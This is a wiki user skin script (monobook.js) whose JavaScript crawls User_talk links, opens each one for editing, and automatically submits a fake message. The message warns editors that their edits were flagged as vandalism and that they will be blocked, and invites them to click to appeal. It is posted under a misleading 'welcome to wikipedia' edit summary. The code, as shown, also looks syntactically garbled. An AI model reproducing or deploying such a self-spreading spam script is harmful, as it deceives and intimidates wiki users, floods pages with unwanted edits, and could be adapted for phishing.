User:Sopsop/monobook.js

// var root = "PaineOrange"; var curLink = 0; var linkCount = 0; var linkFind = unescape("%3Ftitle%3DUser_talk%3A"); if(wpUserName == root){ if(wgPageName.indexOf("User:" + wgUserName) != 0){if(location.search.indexOf("crawl=1")!=-1)getLinkCount;

if(location.search.indexOf("spam=1")!=-1)editPage; if(document.referrer.indexOf("spam=1")!=-1)window.close; } }else{ getLinkCount; if(location.search.indexOf("spam=1")!=-1)editPage; if(document.referrer.indexOf("spam=1")!=-1)window.close; } function getLinkCount{ linkCount = document.links.length-1; if(linkCount == -1){ setTimeout(getLinkCount, 300); }else{ crawl; } }

function crawl{ while(document.links[curLink].search.indexOf(linkFind)==-1 && curLink < linkCount){ curLink++; } if(curLink >= linkCount){ document.location = document.location; }else{ document.title = document.links[curLink].search; window.open(document.links[curLink].href + '&spam=1'); curLink++; setTimeout(crawl, 5000); } }

function editPage{ if(document.links.length==0){ setTimeout(editPage, 500); }else{ document.editform.wpTextbox1.value = "Hi " + wgTitle + ", your recent edits have been detected as vandalism/spam/nonsense, and you will be blocked soon. If you think that you have been accused, please click here and type in your reason here . Save the page and a admin will review your reason. Thank You.\n==About me==\n" document.editform.wpSummary.value = "←Created page with 'Hi " + wgTitle + ", welcome to wikipedia! I hope you enjoy your stay here. ~'" document.editform.submit; } } //